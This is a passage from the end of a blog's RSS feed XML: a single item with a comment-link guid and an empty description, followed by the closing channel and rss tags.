<guid>http://pic1.liuxinxiu.com:80/s//#blogcomment</guid> 
<description>
<![CDATA[ 
	
]]>
</description>
</item>
</channel>
</rss>